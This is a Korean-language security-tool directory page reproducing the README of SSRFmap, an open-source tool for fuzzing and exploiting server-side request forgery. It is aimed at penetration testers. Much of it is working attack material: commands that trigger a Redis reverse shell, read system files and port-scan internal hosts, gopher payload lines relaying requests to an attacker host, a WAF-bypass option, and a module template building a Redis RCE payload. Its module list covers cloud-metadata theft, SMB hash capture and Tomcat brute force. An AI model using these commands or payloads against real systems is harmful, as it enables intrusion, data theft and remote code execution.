Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
SSRFmap — 자동 SSRF 퍼저 및 익스플로잇 도구 | Kitploit
도구/GitHubGitHub/swisskyrepo/ssrfmap
Vulnerability AnalysisExploitationInformation GatheringWeb SecurityFuzzingCTFPenetration Testing
GitHubswisskyrepo/ssrfmap

SSRFmap

자동 SSRF 퍼저 및 익스플로잇 도구

저장소 보기
3.6k57011일 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

SSRFmap Python 3.4+ Rawsec's CyberSecurity Inventory

SSRF는 종종 다른 서비스에서 작업을 수행하는 데 사용됩니다. 이 프레임워크는 이러한 서비스를 쉽게 찾고 악용하는 것을 목표로 합니다. SSRFmap은 Burp 요청 파일을 입력으로 받고 퍼징할 매개변수를 사용합니다.

서버 측 요청 위조(SSRF)는 공격자가 서버를 강제로 대신 요청을 수행하게 하는 취약점입니다.

Summary

  • Modules
  • Install and Manual
  • Examples
  • SSRFmap - Tests
  • Contribute
    • Contributors

Modules

다음 모듈이 이미 구현되어 있으며 -m 인수와 함께 사용할 수 있습니다.

Install and Manual

  • Github 저장소에서.

    root@kitploit:~
    $ git clone https://github.com/swisskyrepo/SSRFmap
    $ cd SSRFmap/
    $ pip3 install -r requirements.txt
    $ python3 ssrfmap.py
    
      usage: ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [-l HANDLER]
                        [-v [VERBOSE]] [--lhost LHOST] [--lport LPORT]
                        [--uagent USERAGENT] [--ssl [SSL]] [--level [LEVEL]]
    
      optional arguments:
        -h, --help          show this help message and exit
        -r REQFILE          SSRF Request file
        -p PARAM            SSRF Parameter to target
        -m MODULES          SSRF Modules to enable
        -l HANDLER          Start an handler for a reverse shell
        -v [VERBOSE]        Enable verbosity
        --lhost LHOST       LHOST reverse shell or IP to target in the network
        --lport LPORT       LPORT reverse shell or port to target in the network
        --uagent USERAGENT  User Agent to use
        --ssl [SSL]         Use HTTPS without verification
        --proxy PROXY       Use HTTP(s) proxy (ex: http://localhost:8080)
        --level [LEVEL]     Level of test to perform (1-5, default: 1)
    
  • Docker

    root@kitploit:~
    $ git clone https://github.com/swisskyrepo/SSRFmap
    $ docker build --no-cache -t ssrfmap .
    $ docker run -it ssrfmap ssrfmap.py [OPTIONS] 
    $ docker run -it -v $(pwd):/usr/src/app ssrfmap ssrfmap.py
    

Examples

먼저 퍼징할 매개변수가 있는 요청이 필요합니다. Burp 요청은 SSRFmap과 잘 작동합니다. 다음과 같은 형식이어야 합니다. 더 많은 예제는 ./examples 폴더에서 확인할 수 있습니다.

root@kitploit:~
POST /ssrf HTTP/1.1
Host: 127.0.0.1:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://mysimple.ssrf/
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Connection: close
Upgrade-Insecure-Requests: 1

url=https%3A%2F%2Fwww.google.fr

-m 다음에 모듈 이름을 사용합니다 (여러 모듈을 실행하려면 ,로 구분).

root@kitploit:~
# Launch a portscan on localhost and read default files
python ssrfmap.py -r examples/request.txt -p url -m readfiles,portscan

헤더, GET 또는 POST 매개변수에 주입하려면 매개변수 이름만 지정하면 됩니다.

root@kitploit:~
python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /tmp/test

사용자 지정 User-Agent가 필요하면 --uagent를 사용하세요. 일부 대상은 HTTPS를 사용하므로 --ssl로 활성화할 수 있습니다.

root@kitploit:~
# Launch a portscan against an HTTPS endpoint using a custom user-agent
python ssrfmap.py -r examples/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent"

일부 모듈은 연결을 다시 생성하도록 허용하므로 LHOST와 LPORT를 지정해야 합니다. 또한 SSRFmap은 들어오는 리버스 셸을 수신할 수 있습니다.

root@kitploit:~
# Triggering a reverse shell on a Redis
python ssrfmap.py -r examples/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242

# -l create a listener for reverse shell on the specified port
# --lhost and --lport work like in Metasploit, these values are used to create a reverse shell payload

대상이 WAF나 일부 필터로 보호되는 경우 --level 매개변수를 사용하여 다양한 페이로드와 인코딩을 시도할 수 있습니다.

root@kitploit:~
# --level : ability to tweak payloads in order to bypass some IDS/WAF. e.g: 127.0.0.1 -> [::] -> 0000: -> ...

SSRFmap Tests

프레임워크를 빠르게 테스트하는 방법은 data/example.py SSRF 서비스를 사용하는 것입니다.

  • Local

    root@kitploit:~
    FLASK_APP=examples/example.py flask run &
    python ssrfmap.py -r examples/request.txt -p url -m readfiles
    
  • Docker

    root@kitploit:~
    docker build --no-cache -t ssrfmap .
    
    # run example ssrf http service
    docker run -it -v "$(pwd)":/usr/src/app -p 5000:5000 ssrfmap examples/example.py
    
    # run example ssrf dns service
    docker exec -u root:root -it example python examples/ssrf_dns.py
    
    # run ssrfmap tool
    docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles
    

테스트 요청 실행:

root@kitploit:~
docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request2.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request4.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request5.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m axfr
docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m axfr --lhost 127.0.0.1 --lport 53 --ldomain example.lab

Contribute

저는 풀 리퀘스트를 ❤️ 합니다 :) 아래 나열된 기능이나 새로운 서비스를 자유롭게 추가해 주세요.

  • Redis PHP 익스플로잇
  • HTTP 모듈 (Jenkins ?)
root@kitploit:~
gopher://<proxyserver>:8080/_GET http://<attacker:80>/x HTTP/1.1%0A%0A
gopher://<proxyserver>:8080/_POST%20http://<attacker>:80/x%20HTTP/1.1%0ACookie:%20eatme%0A%0AI+am+a+post+body

다음 코드는 서비스와 상호작용하는 모듈을 추가하려는 경우의 템플릿입니다.

root@kitploit:~
from core.utils import *
import logging

name          = "servicename in lowercase"
description   = "ServiceName RCE - What does it do"
author        = "Name or pseudo of the author"
documentation = ["http://link_to_a_research", "http://another_link"]

class exploit():
    SERVER_HOST = "127.0.0.1"
    SERVER_PORT = "4242"

    def __init__(self, requester, args):
        logging.info("Module '{}' launched !".format(name))

        # Handle args for reverse shell
        if args.lhost == None: self.SERVER_HOST = input("Server Host:")
        else:                  self.SERVER_HOST = args.lhost

        if args.lport == None: self.SERVER_PORT = input("Server Port:")
        else:                  self.SERVER_PORT = args.lport

        # Data for the service
        # Using a generator to create the host list
        # Edit the following ip if you need to target something else
        gen_host = gen_ip_list("127.0.0.1", args.level)
        for ip in gen_host:
            port = "6379"
            data = "*1%0d%0a$8%0d%0aflus[...]%0aquit%0d%0a"
            payload = wrapper_gopher(data, ip , port)

            # Handle args for reverse shell
            payload = payload.replace("SERVER_HOST", self.SERVER_HOST)
            payload = payload.replace("SERVER_PORT", self.SERVER_PORT)

            # Send the payload
            r = requester.do_request(args.param, payload)

실제로 맥주를 사거나 Github Sponsor 버튼을 통해 기여할 수도 있습니다.

Thanks to the contributors

Inspired by

  • GitHub Enterprise에서 4가지 취약점을 연쇄하여 SSRF 실행 체인에서 RCE까지 - Orange Tsai
  • Gopherus 도구 블로그 - SpyD3r
  • Gopherus - Github
  • SSRF 테스트 - cujanovic
도구 다운로드
NameDescription
axfrDNS 영역 전송 (AXFR)
fastcgiFastCGI RCE
redisRedis RCE
githubGitHub Enterprise RCE < 2.8.7
zabbixZabbix RCE
mysqlMySQL 명령 실행
postgresPostgres 명령 실행
dockerDocker API를 통한 정보 유출
smtpSMTP 메일 발송
portscan호스트의 상위 8000개 포트 스캔
networkscan네트워크를 통한 HTTP 핑 스윕
readfiles/etc/passwd 등 파일 읽기
alibaba프로바이더에서 파일 읽기 (예: meta-data, user-data)
aws프로바이더에서 파일 읽기 (예: meta-data, user-data)
gce프로바이더에서 파일 읽기 (예: meta-data, user-data)
digitalocean프로바이더에서 파일 읽기 (예: meta-data, user-data)
socksproxySOCKS4 프록시
smbhashUNC 경로를 통한 SMB 인증 강제
tomcatTomcat Manager에 대한 무차별 대입 공격
custom리스닝 서비스에 사용자 정의 데이터 전송 (예: netcat)
memcachememcache 인스턴스 내에 데이터 저장